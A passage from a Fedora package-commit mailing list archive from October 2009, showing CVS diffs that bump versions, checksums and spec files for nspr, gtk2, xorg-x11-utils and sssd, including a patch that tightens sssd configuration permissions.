+* Tue Oct 13 2009 Kai Engert <kaie at redhat.com> - 4.8.2-1
+- update to 4.8.2
+
 * Tue Jun 30 2009 Christopher Aillon <caillon at redhat.com> 4.8-1
 - update to 4.8
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/nspr/F-11/sources,v
retrieving revision 1.21
retrieving revision 1.22
diff -u -p -r1.21 -r1.22
--- sources	30 Jun 2009 15:59:21 -0000	1.21
+++ sources	13 Oct 2009 20:04:03 -0000	1.22
@@ -1 +1 @@
-340a3a63804941efc5914064bc7098a7  nspr-4.8.tar.bz2
+7ee1daed80a9d33263afd95d701095dc  nspr-4.8.2.tar.bz2



From mclasen at fedoraproject.org  Tue Oct 13 20:07:02 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Tue, 13 Oct 2009 20:07:02 +0000 (UTC)
Subject: rpms/gtk2/F-12 gtk2.spec,1.411,1.412
Message-ID: <20091013200702.A7F5711C00E8@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/gtk2/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26605

Modified Files:
	gtk2.spec 
Log Message:
Bump rev



Index: gtk2.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gtk2/F-12/gtk2.spec,v
retrieving revision 1.411
retrieving revision 1.412
diff -u -p -r1.411 -r1.412
--- gtk2.spec	13 Oct 2009 20:03:52 -0000	1.411
+++ gtk2.spec	13 Oct 2009 20:07:01 -0000	1.412
@@ -17,7 +17,7 @@
 Summary: The GIMP ToolKit (GTK+), a library for creating GUIs for X
 Name: gtk2
 Version: %{base_version}
-Release: 2%{?dist}
+Release: 3%{?dist}
 License: LGPLv2+
 Group: System Environment/Libraries
 Source: http://download.gnome.org/sources/gtk+/2.18/gtk+-%{version}.tar.bz2



From kengert at fedoraproject.org  Tue Oct 13 20:08:18 2009
From: kengert at fedoraproject.org (Kai Engert)
Date: Tue, 13 Oct 2009 20:08:18 +0000 (UTC)
Subject: rpms/nspr/F-10 .cvsignore, 1.20, 1.21 nspr.spec, 1.42, 1.43 sources,
	1.21, 1.22
Message-ID: <20091013200818.7C7EC11C00E8@cvs1.fedora.phx.redhat.com>

Author: kengert

Update of /cvs/extras/rpms/nspr/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27515

Modified Files:
	.cvsignore nspr.spec sources 
Log Message:
* Tue Oct 13 2009 Kai Engert <kaie at redhat.com> - 4.7.6-1
- update to 4.7.6




Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/nspr/F-10/.cvsignore,v
retrieving revision 1.20
retrieving revision 1.21
diff -u -p -r1.20 -r1.21
--- .cvsignore	27 Aug 2009 11:51:22 -0000	1.20
+++ .cvsignore	13 Oct 2009 20:08:18 -0000	1.21
@@ -1 +1 @@
-nspr-4.7.5.tar.bz2
+nspr-4.7.6.tar.bz2


Index: nspr.spec
===================================================================
RCS file: /cvs/extras/rpms/nspr/F-10/nspr.spec,v
retrieving revision 1.42
retrieving revision 1.43
diff -u -p -r1.42 -r1.43
--- nspr.spec	27 Aug 2009 11:51:23 -0000	1.42
+++ nspr.spec	13 Oct 2009 20:08:18 -0000	1.43
@@ -1,6 +1,6 @@
 Summary:        Netscape Portable Runtime
 Name:           nspr
-Version:        4.7.5
+Version:        4.7.6
 Release:        1%{?dist}
 License:        MPLv1.1 or GPLv2+ or LGPLv2+
 URL:            http://www.mozilla.org/projects/nspr/
@@ -131,6 +131,8 @@ done
 %{_bindir}/nspr-config
 
 %changelog
+* Tue Oct 13 2009 Kai Engert <kaie at redhat.com> - 4.7.6-1
+- update to 4.7.6
 * Thu Aug 27 2009 Kai Engert <kaie at redhat.com> - 4.7.5-1
 - update to 4.7.5
 * Fri Jun 05 2009 Kai Engert <kaie at redhat.com> - 4.7.4-1


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/nspr/F-10/sources,v
retrieving revision 1.21
retrieving revision 1.22
diff -u -p -r1.21 -r1.22
--- sources	27 Aug 2009 11:51:23 -0000	1.21
+++ sources	13 Oct 2009 20:08:18 -0000	1.22
@@ -1 +1 @@
-6f2d4ce73257b11e56a389f46f0bc609  nspr-4.7.5.tar.bz2
+8455fe7e49faa9e5683ff45f5d071e72  nspr-4.7.6.tar.bz2



From kengert at fedoraproject.org  Tue Oct 13 20:10:30 2009
From: kengert at fedoraproject.org (Kai Engert)
Date: Tue, 13 Oct 2009 20:10:30 +0000 (UTC)
Subject: rpms/nspr/F-10 nspr.spec,1.43,1.44
Message-ID: <20091013201030.2189611C02A1@cvs1.fedora.phx.redhat.com>

Author: kengert

Update of /cvs/extras/rpms/nspr/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27830

Modified Files:
	nspr.spec 
Log Message:
bump release



Index: nspr.spec
===================================================================
RCS file: /cvs/extras/rpms/nspr/F-10/nspr.spec,v
retrieving revision 1.43
retrieving revision 1.44
diff -u -p -r1.43 -r1.44
--- nspr.spec	13 Oct 2009 20:08:18 -0000	1.43
+++ nspr.spec	13 Oct 2009 20:10:29 -0000	1.44
@@ -1,7 +1,7 @@
 Summary:        Netscape Portable Runtime
 Name:           nspr
 Version:        4.7.6
-Release:        1%{?dist}
+Release:        1%{?dist}.1
 License:        MPLv1.1 or GPLv2+ or LGPLv2+
 URL:            http://www.mozilla.org/projects/nspr/
 Group:          System Environment/Libraries
@@ -131,7 +131,7 @@ done
 %{_bindir}/nspr-config
 
 %changelog
-* Tue Oct 13 2009 Kai Engert <kaie at redhat.com> - 4.7.6-1
+* Tue Oct 13 2009 Kai Engert <kaie at redhat.com> - 4.7.6-1.fc10.1
 - update to 4.7.6
 * Thu Aug 27 2009 Kai Engert <kaie at redhat.com> - 4.7.5-1
 - update to 4.7.5



From ajax at fedoraproject.org  Tue Oct 13 20:16:33 2009
From: ajax at fedoraproject.org (Adam Jackson)
Date: Tue, 13 Oct 2009 20:16:33 +0000 (UTC)
Subject: rpms/xorg-x11-utils/devel .cvsignore, 1.8, 1.9 sources, 1.11,
	1.12 xorg-x11-utils.spec, 1.27, 1.28
Message-ID: <20091013201633.4905911C00E8@cvs1.fedora.phx.redhat.com>

Author: ajax

Update of /cvs/pkgs/rpms/xorg-x11-utils/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv28937

Modified Files:
	.cvsignore sources xorg-x11-utils.spec 
Log Message:
* Tue Oct 13 2009 Adam Jackson <ajax at redhat.com> 7.4-7
- xev 1.0.4
- xlsatoms 1.0.2
- xprop 1.1.0
- xwininfo 1.0.5



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-utils/devel/.cvsignore,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- .cvsignore	24 Sep 2007 19:41:14 -0000	1.8
+++ .cvsignore	13 Oct 2009 20:16:33 -0000	1.9
@@ -9,3 +9,7 @@ xprop-1.0.3.tar.bz2
 xvinfo-1.0.2.tar.bz2
 xdriinfo-1.0.2.tar.bz2
 xwininfo-1.0.3.tar.bz2
+xev-1.0.4.tar.bz2
+xlsatoms-1.0.2.tar.bz2
+xprop-1.1.0.tar.bz2
+xwininfo-1.0.5.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-utils/devel/sources,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- sources	2 Jul 2009 20:16:58 -0000	1.11
+++ sources	13 Oct 2009 20:16:33 -0000	1.12
@@ -1,8 +1,8 @@
-e3008eb0655da3026c162a5597d70869  xev-1.0.2.tar.bz2
-69adcda848479acc3b82b3928812d191  xlsatoms-1.0.1.tar.bz2
 44473b880d26bfbe8b3d4d72b183cba7  xlsclients-1.0.1.tar.bz2
 28958248590ff60ecd70e8f590d977b7  xlsfonts-1.0.2.tar.bz2
 e1e318436f49e2f0f3764593dadd9ad2  xvinfo-1.0.2.tar.bz2
 b7cbab6cbcd12bf7ad65dbc12d86e104  xdpyinfo-1.0.3.tar.bz2
-48aa8fd78802f477dcbf9ef0dfd9f783  xprop-1.0.4.tar.bz2
-e2a9bf5ab7f2a0866700a3b49dd8c6bf  xwininfo-1.0.4.tar.bz2
+5f98c0a2725a33d60ef4956befe078fb  xev-1.0.4.tar.bz2
+dc8b420bbfa35091ea30edf57c952ec2  xlsatoms-1.0.2.tar.bz2
+f0bacbd30f0dd1c1e9ccafe97687b7a4  xprop-1.1.0.tar.bz2
+908f8bc3255f639effa9780fb1c19ea4  xwininfo-1.0.5.tar.bz2


Index: xorg-x11-utils.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-utils/devel/xorg-x11-utils.spec,v
retrieving revision 1.27
retrieving revision 1.28
diff -u -p -r1.27 -r1.28
--- xorg-x11-utils.spec	27 Jul 2009 08:37:54 -0000	1.27
+++ xorg-x11-utils.spec	13 Oct 2009 20:16:33 -0000	1.28
@@ -3,37 +3,25 @@
 Summary: X.Org X11 X client utilities
 Name: xorg-x11-%{pkgname}
 Version: 7.4
-Release: 6%{?dist}
+Release: 7%{?dist}
 License: MIT
 Group: User Interface/X
 URL: http://www.x.org
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 Source0:  ftp://ftp.x.org/pub/individual/app/xdpyinfo-1.0.3.tar.bz2
-#Source1:  ftp://ftp.x.org/pub/individual/app/xdriinfo-1.0.2.tar.bz2
-Source2:  ftp://ftp.x.org/pub/individual/app/xev-1.0.2.tar.bz2
-Source5:  ftp://ftp.x.org/pub/individual/app/xlsatoms-1.0.1.tar.bz2
+Source2:  ftp://ftp.x.org/pub/individual/app/xev-1.0.4.tar.bz2
+Source5:  ftp://ftp.x.org/pub/individual/app/xlsatoms-1.0.2.tar.bz2
 Source6:  ftp://ftp.x.org/pub/individual/app/xlsclients-1.0.1.tar.bz2
 Source7:  ftp://ftp.x.org/pub/individual/app/xlsfonts-1.0.2.tar.bz2
-Source8:  ftp://ftp.x.org/pub/individual/app/xprop-1.0.4.tar.bz2
+Source8:  ftp://ftp.x.org/pub/individual/app/xprop-1.1.0.tar.bz2
 Source9:  ftp://ftp.x.org/pub/individual/app/xvinfo-1.0.2.tar.bz2
-Source10: ftp://ftp.x.org/pub/individual/app/xwininfo-1.0.4.tar.bz2
+Source10: ftp://ftp.x.org/pub/individual/app/xwininfo-1.0.5.tar.bz2
 
-BuildRequires: pkgconfig
-BuildRequires: libdmx-devel
-BuildRequires: libGL-devel
-BuildRequires: libXext-devel
-BuildRequires: libXft-devel
-BuildRequires: libXi-devel
-BuildRequires: libXinerama-devel
-BuildRequires: libXmu-devel
-BuildRequires: libXpm-devel
-BuildRequires: libXt-devel
-BuildRequires: libXtst-devel
-BuildRequires: libXv-devel
-BuildRequires: libXxf86dga-devel
-BuildRequires: libXxf86misc-devel
-BuildRequires: libXxf86vm-devel
+BuildRequires: pkgconfig(dmx) pkgconfig(gl) pkgconfig(xext) pkgconfig(xft)
+BuildRequires: pkgconfig(xi) pkgconfig(xinerama) pkgconfig(xmu)
+BuildRequires: pkgconfig(xpm) pkgconfig(xt) pkgconfig(xtst) pkgconfig(xv)
+BuildRequires: pkgconfig(xxf86dga) pkgconfig(xxf86misc) pkgconfig(xxf86vm)
 
 Provides: xdpyinfo xev xlsatoms xlsclients xlsfonts xprop xvinfo xwininfo
 
@@ -90,6 +78,12 @@ rm -rf $RPM_BUILD_ROOT
 %{_mandir}/man1/xwininfo.1*
 
 %changelog
+* Tue Oct 13 2009 Adam Jackson <ajax at redhat.com> 7.4-7
+- xev 1.0.4
+- xlsatoms 1.0.2
+- xprop 1.1.0
+- xwininfo 1.0.5
+
 * Mon Jul 27 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 7.4-6
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From ajax at fedoraproject.org  Tue Oct 13 20:16:58 2009
From: ajax at fedoraproject.org (Adam Jackson)
Date: Tue, 13 Oct 2009 20:16:58 +0000 (UTC)
Subject: rpms/xorg-x11-utils/F-12 sources, 1.11, 1.12 xorg-x11-utils.spec,
	1.27, 1.28
Message-ID: <20091013201658.D73DD11C00E8@cvs1.fedora.phx.redhat.com>

Author: ajax

Update of /cvs/pkgs/rpms/xorg-x11-utils/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29083

Modified Files:
	sources xorg-x11-utils.spec 
Log Message:
* Tue Oct 13 2009 Adam Jackson <ajax at redhat.com> 7.4-7
- xev 1.0.4
- xlsatoms 1.0.2
- xprop 1.1.0
- xwininfo 1.0.5



Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-utils/F-12/sources,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- sources	2 Jul 2009 20:16:58 -0000	1.11
+++ sources	13 Oct 2009 20:16:58 -0000	1.12
@@ -1,8 +1,8 @@
-e3008eb0655da3026c162a5597d70869  xev-1.0.2.tar.bz2
-69adcda848479acc3b82b3928812d191  xlsatoms-1.0.1.tar.bz2
 44473b880d26bfbe8b3d4d72b183cba7  xlsclients-1.0.1.tar.bz2
 28958248590ff60ecd70e8f590d977b7  xlsfonts-1.0.2.tar.bz2
 e1e318436f49e2f0f3764593dadd9ad2  xvinfo-1.0.2.tar.bz2
 b7cbab6cbcd12bf7ad65dbc12d86e104  xdpyinfo-1.0.3.tar.bz2
-48aa8fd78802f477dcbf9ef0dfd9f783  xprop-1.0.4.tar.bz2
-e2a9bf5ab7f2a0866700a3b49dd8c6bf  xwininfo-1.0.4.tar.bz2
+5f98c0a2725a33d60ef4956befe078fb  xev-1.0.4.tar.bz2
+dc8b420bbfa35091ea30edf57c952ec2  xlsatoms-1.0.2.tar.bz2
+f0bacbd30f0dd1c1e9ccafe97687b7a4  xprop-1.1.0.tar.bz2
+908f8bc3255f639effa9780fb1c19ea4  xwininfo-1.0.5.tar.bz2


Index: xorg-x11-utils.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-utils/F-12/xorg-x11-utils.spec,v
retrieving revision 1.27
retrieving revision 1.28
diff -u -p -r1.27 -r1.28
--- xorg-x11-utils.spec	27 Jul 2009 08:37:54 -0000	1.27
+++ xorg-x11-utils.spec	13 Oct 2009 20:16:58 -0000	1.28
@@ -3,37 +3,25 @@
 Summary: X.Org X11 X client utilities
 Name: xorg-x11-%{pkgname}
 Version: 7.4
-Release: 6%{?dist}
+Release: 7%{?dist}
 License: MIT
 Group: User Interface/X
 URL: http://www.x.org
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 Source0:  ftp://ftp.x.org/pub/individual/app/xdpyinfo-1.0.3.tar.bz2
-#Source1:  ftp://ftp.x.org/pub/individual/app/xdriinfo-1.0.2.tar.bz2
-Source2:  ftp://ftp.x.org/pub/individual/app/xev-1.0.2.tar.bz2
-Source5:  ftp://ftp.x.org/pub/individual/app/xlsatoms-1.0.1.tar.bz2
+Source2:  ftp://ftp.x.org/pub/individual/app/xev-1.0.4.tar.bz2
+Source5:  ftp://ftp.x.org/pub/individual/app/xlsatoms-1.0.2.tar.bz2
 Source6:  ftp://ftp.x.org/pub/individual/app/xlsclients-1.0.1.tar.bz2
 Source7:  ftp://ftp.x.org/pub/individual/app/xlsfonts-1.0.2.tar.bz2
-Source8:  ftp://ftp.x.org/pub/individual/app/xprop-1.0.4.tar.bz2
+Source8:  ftp://ftp.x.org/pub/individual/app/xprop-1.1.0.tar.bz2
 Source9:  ftp://ftp.x.org/pub/individual/app/xvinfo-1.0.2.tar.bz2
-Source10: ftp://ftp.x.org/pub/individual/app/xwininfo-1.0.4.tar.bz2
+Source10: ftp://ftp.x.org/pub/individual/app/xwininfo-1.0.5.tar.bz2
 
-BuildRequires: pkgconfig
-BuildRequires: libdmx-devel
-BuildRequires: libGL-devel
-BuildRequires: libXext-devel
-BuildRequires: libXft-devel
-BuildRequires: libXi-devel
-BuildRequires: libXinerama-devel
-BuildRequires: libXmu-devel
-BuildRequires: libXpm-devel
-BuildRequires: libXt-devel
-BuildRequires: libXtst-devel
-BuildRequires: libXv-devel
-BuildRequires: libXxf86dga-devel
-BuildRequires: libXxf86misc-devel
-BuildRequires: libXxf86vm-devel
+BuildRequires: pkgconfig(dmx) pkgconfig(gl) pkgconfig(xext) pkgconfig(xft)
+BuildRequires: pkgconfig(xi) pkgconfig(xinerama) pkgconfig(xmu)
+BuildRequires: pkgconfig(xpm) pkgconfig(xt) pkgconfig(xtst) pkgconfig(xv)
+BuildRequires: pkgconfig(xxf86dga) pkgconfig(xxf86misc) pkgconfig(xxf86vm)
 
 Provides: xdpyinfo xev xlsatoms xlsclients xlsfonts xprop xvinfo xwininfo
 
@@ -90,6 +78,12 @@ rm -rf $RPM_BUILD_ROOT
 %{_mandir}/man1/xwininfo.1*
 
 %changelog
+* Tue Oct 13 2009 Adam Jackson <ajax at redhat.com> 7.4-7
+- xev 1.0.4
+- xlsatoms 1.0.2
+- xprop 1.1.0
+- xwininfo 1.0.5
+
 * Mon Jul 27 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 7.4-6
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 



From sgallagh at fedoraproject.org  Tue Oct 13 20:25:51 2009
From: sgallagh at fedoraproject.org (Stephen Gallagher)
Date: Tue, 13 Oct 2009 20:25:51 +0000 (UTC)
Subject: rpms/sssd/devel .cvsignore, 1.10,
	1.11 0001-Tighten-up-permission.patch, 1.1, 1.2 sources, 1.11,
	1.12 sssd.spec, 1.22, 1.23
Message-ID: <20091013202551.76BC511C00E8@cvs1.fedora.phx.redhat.com>

Author: sgallagh

Update of /cvs/pkgs/rpms/sssd/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv31459

Modified Files:
	.cvsignore 0001-Tighten-up-permission.patch sources sssd.spec 
Log Message:
* Tue Oct 13 2009 Stephen Gallagher <sgallagh at redhat.com> - 0.6.1-1
- Add SSSDConfig API
- Update polish translation for 0.6.0
- Fix long timeout on ldap operation
- Make dp requests more robust



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/sssd/devel/.cvsignore,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- .cvsignore	28 Sep 2009 08:51:23 -0000	1.10
+++ .cvsignore	13 Oct 2009 20:25:50 -0000	1.11
@@ -1 +1 @@
-sssd-0.6.0.tar.gz
+sssd-0.6.1.tar.gz

0001-Tighten-up-permission.patch:
 contrib/sssd.spec.in             |    2 +-
 server/upgrade/upgrade_config.py |   14 ++++++++++++--
 2 files changed, 13 insertions(+), 3 deletions(-)

Index: 0001-Tighten-up-permission.patch
===================================================================
RCS file: /cvs/pkgs/rpms/sssd/devel/0001-Tighten-up-permission.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- 0001-Tighten-up-permission.patch	29 Sep 2009 12:19:20 -0000	1.1
+++ 0001-Tighten-up-permission.patch	13 Oct 2009 20:25:50 -0000	1.2
@@ -1,7 +1,7 @@
-From 5ab9ed3c42781ae1911d253d56d67dc0288d55f7 Mon Sep 17 00:00:00 2001
+From e98645b11a18d5eba14f9108504003ffdfe81f3a Mon Sep 17 00:00:00 2001
 From: Simo Sorce <ssorce at redhat.com>
 Date: Mon, 28 Sep 2009 07:51:26 -0400
-Subject: [PATCH 1/2] Tighten up permission.
+Subject: [PATCH] Tighten up permission.
 
 SSSD may contain passwords and other sensitive data, make sure we always keep its
 permission tight. Also make /etc/sssd permission very strict, just in case,
@@ -13,18 +13,18 @@ permissions.
  2 files changed, 13 insertions(+), 2 deletions(-)
 
 diff --git a/contrib/sssd.spec.in b/contrib/sssd.spec.in
-index 5dc45d2..9513a6b 100644
+index 2dd291f..93a1401 100644
 --- a/contrib/sssd.spec.in
 +++ b/contrib/sssd.spec.in
-@@ -129,7 +129,7 @@ rm -rf $RPM_BUILD_ROOT
+@@ -132,7 +132,7 @@ rm -rf $RPM_BUILD_ROOT
  %attr(755,root,root) %dir %{pipepath}
  %attr(700,root,root) %dir %{pipepath}/private
  %attr(750,root,root) %dir %{_var}/log/%{name}
 -%dir %{_sysconfdir}/sssd
 +%attr(700,root,root) %dir %{_sysconfdir}/sssd
  %config(noreplace) %{_sysconfdir}/sssd/sssd.conf
- %{_mandir}/man5/sssd.conf.5*
- %{_mandir}/man5/sssd-krb5.5*
+ %config %{_sysconfdir}/sssd/sssd.api.conf
+ %attr(700,root,root) %dir %{_sysconfdir}/sssd/sssd.api.d
 diff --git a/server/upgrade/upgrade_config.py b/server/upgrade/upgrade_config.py
 index 412fad5..87e3990 100644
 --- a/server/upgrade/upgrade_config.py


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/sssd/devel/sources,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- sources	28 Sep 2009 08:51:24 -0000	1.11
+++ sources	13 Oct 2009 20:25:50 -0000	1.12
@@ -1 +1 @@
-2a2e118d9f29dda15dd4b8202b9cac62  sssd-0.6.0.tar.gz
+2deb5f1506ae2e172c9ce1de45c1d1df  sssd-0.6.1.tar.gz


Index: sssd.spec
===================================================================
RCS file: /cvs/pkgs/rpms/sssd/devel/sssd.spec,v
retrieving revision 1.22
retrieving revision 1.23
diff -u -p -r1.22 -r1.23
--- sssd.spec	29 Sep 2009 12:42:59 -0000	1.22
+++ sssd.spec	13 Oct 2009 20:25:50 -0000	1.23
@@ -1,7 +1,8 @@
 %{!?python_sitearch: %global python_sitearch %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib(1)")}
+%{!?python_sitelib: %global python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}
 
 Name: sssd
-Version: 0.6.0
+Version: 0.6.1
 Release: 1%{?dist}
 Group: Applications/System
 Summary: System Security Services Daemon
@@ -16,14 +17,13 @@ BuildRoot: %(mktemp -ud %{_tmppath}/%{na
 ### Patches ###
 
 Patch1: 0001-Tighten-up-permission.patch
-Patch2: 0002-Fix-infinite-loop-with-empty-group-enumeration.patch
 
 ### Dependencies ###
 
 Requires: libldb >= 0.9.3
 Requires: libtdb >= 1.1.3
 
-Requires: sssd-client = 0.6.0
+Requires: sssd-client = 0.6.1
 Requires(post): python
 Requires(preun):  initscripts chkconfig
 Requires(postun): /sbin/service
@@ -78,7 +78,6 @@ service.
 %setup -q
 
 %patch1 -p1 -b .tighten_permission
-%patch2 -p1 -b .infinite_group_loop
 
 %build
 %configure \
@@ -109,6 +108,10 @@ rm -f \
 mkdir -p $RPM_BUILD_ROOT/%{_sysconfdir}/sssd
 install -m600 %{SOURCE1} $RPM_BUILD_ROOT%{_sysconfdir}/sssd/sssd.conf
 
+mkdir -p $RPM_BUILD_ROOT%{_sysconfdir}/sssd/sssd.api.d
+install -m400 server/config/etc/sssd.api.conf $RPM_BUILD_ROOT%{_sysconfdir}/sssd/sssd.api.conf
+install -m400 server/config/etc/sssd.api.d/* $RPM_BUILD_ROOT%{_sysconfdir}/sssd/sssd.api.d/
+
 touch locator.filelist
 if test -e $RPM_BUILD_ROOT/%{_libdir}/krb5/plugins/libkrb5/sssd_krb5_locator_plugin.so
 then
@@ -137,8 +140,11 @@ rm -rf $RPM_BUILD_ROOT
 %attr(755,root,root) %dir %{pipepath}
 %attr(700,root,root) %dir %{pipepath}/private
 %attr(750,root,root) %dir %{_var}/log/%{name}
-%dir %{_sysconfdir}/sssd
+%attr(700,root,root) %dir %{_sysconfdir}/sssd
 %config(noreplace) %{_sysconfdir}/sssd/sssd.conf
+%config %{_sysconfdir}/sssd/sssd.api.conf
+%attr(700,root,root) %dir %{_sysconfdir}/sssd/sssd.api.d
+%config %{_sysconfdir}/sssd/sssd.api.d/
 %{_mandir}/man5/sssd.conf.5*
 %{_mandir}/man5/sssd-krb5.5*
 %{_mandir}/man5/sssd-ldap.5*
@@ -153,6 +159,8 @@ rm -rf $RPM_BUILD_ROOT
 %{_datadir}/locale/*/LC_MESSAGES/sss_client.mo
 %{_datadir}/locale/*/LC_MESSAGES/sss_daemon.mo
 %{python_sitearch}/pysss.so
+%{python_sitelib}/*.py*
+%{?fedora:%{python_sitelib}/*.egg-info}
 
 %files client
 /%{_lib}/libnss_sss.so.2
@@ -180,6 +188,12 @@ if [ $1 -ge 1 ] ; then
 fi
 
 %changelog
+* Tue Oct 13 2009 Stephen Gallagher <sgallagh at redhat.com> - 0.6.1-1
+- Add SSSDConfig API
+- Update polish translation for 0.6.0
+- Fix long timeout on ldap operation
+- Make dp requests more robust
+
 * Tue Sep 29 2009 Stephen Gallagher <sgallagh at redhat.com> - 0.6.0-1
 - Ensure that the configuration upgrade script always writes the config
   file with 0600 permissions



From sgallagh at fedoraproject.org  Tue Oct 13 20:35:15 2009
From: sgallagh at fedoraproject.org (Stephen Gallagher)
Date: Tue, 13 Oct 2009 20:35:15 +0000 (UTC)
Subject: rpms/sssd/devel
	0002-Fix-infinite-loop-with-empty-group-enumeration.patch, 1.1, NONE
Message-ID: <20091013203515.5C64711C00E8@cvs1.fedora.phx.redhat.com>

Author: sgallagh

Update of /cvs/pkgs/rpms/sssd/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv717

Removed Files:
	0002-Fix-infinite-loop-with-empty-group-enumeration.patch 
Log Message:
Removing unused patch

Patch was merged into the upstream tarball



--- 0002-Fix-infinite-loop-with-empty-group-enumeration.patch DELETED ---



From sgallagh at fedoraproject.org  Tue Oct 13 20:37:16 2009
From: sgallagh at fedoraproject.org (Stephen Gallagher)
Date: Tue, 13 Oct 2009 20:37:16 +0000 (UTC)
Subject: rpms/sssd/F-12 .cvsignore, 1.10,
	1.11 0001-Tighten-up-permission.patch, 
	1.1, 1.2 sources, 1.11, 1.12 sssd.spec, 1.22,
	1.23 0002-Fix-infinite-loop-with-empty-group-enumeration.patch,
	1.1, NONE
Message-ID: <20091013203716.2383011C00E8@cvs1.fedora.phx.redhat.com>

Author: sgallagh

Update of /cvs/pkgs/rpms/sssd/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1857

Modified Files:
	.cvsignore 0001-Tighten-up-permission.patch sources sssd.spec 
Removed Files:
	0002-Fix-infinite-loop-with-empty-group-enumeration.patch 
Log Message:
* Tue Oct 13 2009 Stephen Gallagher <sgallagh at redhat.com> - 0.6.1-1
- Add SSSDConfig API
- Update polish translation for 0.6.0
- Fix long timeout on ldap operation
- Make dp requests more robust




Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/sssd/F-12/.cvsignore,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- .cvsignore	28 Sep 2009 08:51:23 -0000	1.10
+++ .cvsignore	13 Oct 2009 20:37:15 -0000	1.11
@@ -1 +1 @@
-sssd-0.6.0.tar.gz
+sssd-0.6.1.tar.gz

0001-Tighten-up-permission.patch:
 contrib/sssd.spec.in             |    2 +-
 server/upgrade/upgrade_config.py |   14 ++++++++++++--
 2 files changed, 13 insertions(+), 3 deletions(-)

Index: 0001-Tighten-up-permission.patch
===================================================================
RCS file: /cvs/pkgs/rpms/sssd/F-12/0001-Tighten-up-permission.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- 0001-Tighten-up-permission.patch	29 Sep 2009 12:19:20 -0000	1.1
+++ 0001-Tighten-up-permission.patch	13 Oct 2009 20:37:15 -0000	1.2
@@ -1,7 +1,7 @@
-From 5ab9ed3c42781ae1911d253d56d67dc0288d55f7 Mon Sep 17 00:00:00 2001
+From e98645b11a18d5eba14f9108504003ffdfe81f3a Mon Sep 17 00:00:00 2001
 From: Simo Sorce <ssorce at redhat.com>
 Date: Mon, 28 Sep 2009 07:51:26 -0400
-Subject: [PATCH 1/2] Tighten up permission.
+Subject: [PATCH] Tighten up permission.
 
 SSSD may contain passwords and other sensitive data, make sure we always keep its
 permission tight. Also make /etc/sssd permission very strict, just in case,
@@ -13,18 +13,18 @@ permissions.
  2 files changed, 13 insertions(+), 2 deletions(-)
 
 diff --git a/contrib/sssd.spec.in b/contrib/sssd.spec.in
-index 5dc45d2..9513a6b 100644
+index 2dd291f..93a1401 100644
 --- a/contrib/sssd.spec.in
 +++ b/contrib/sssd.spec.in
-@@ -129,7 +129,7 @@ rm -rf $RPM_BUILD_ROOT
+@@ -132,7 +132,7 @@ rm -rf $RPM_BUILD_ROOT
  %attr(755,root,root) %dir %{pipepath}
  %attr(700,root,root) %dir %{pipepath}/private
  %attr(750,root,root) %dir %{_var}/log/%{name}
 -%dir %{_sysconfdir}/sssd
 +%attr(700,root,root) %dir %{_sysconfdir}/sssd
  %config(noreplace) %{_sysconfdir}/sssd/sssd.conf
- %{_mandir}/man5/sssd.conf.5*
- %{_mandir}/man5/sssd-krb5.5*
+ %config %{_sysconfdir}/sssd/sssd.api.conf
+ %attr(700,root,root) %dir %{_sysconfdir}/sssd/sssd.api.d
 diff --git a/server/upgrade/upgrade_config.py b/server/upgrade/upgrade_config.py
 index 412fad5..87e3990 100644
 --- a/server/upgrade/upgrade_config.py


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/sssd/F-12/sources,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- sources	28 Sep 2009 08:51:24 -0000	1.11
+++ sources	13 Oct 2009 20:37:15 -0000	1.12
@@ -1 +1 @@
-2a2e118d9f29dda15dd4b8202b9cac62  sssd-0.6.0.tar.gz
+2deb5f1506ae2e172c9ce1de45c1d1df  sssd-0.6.1.tar.gz


Index: sssd.spec
===================================================================
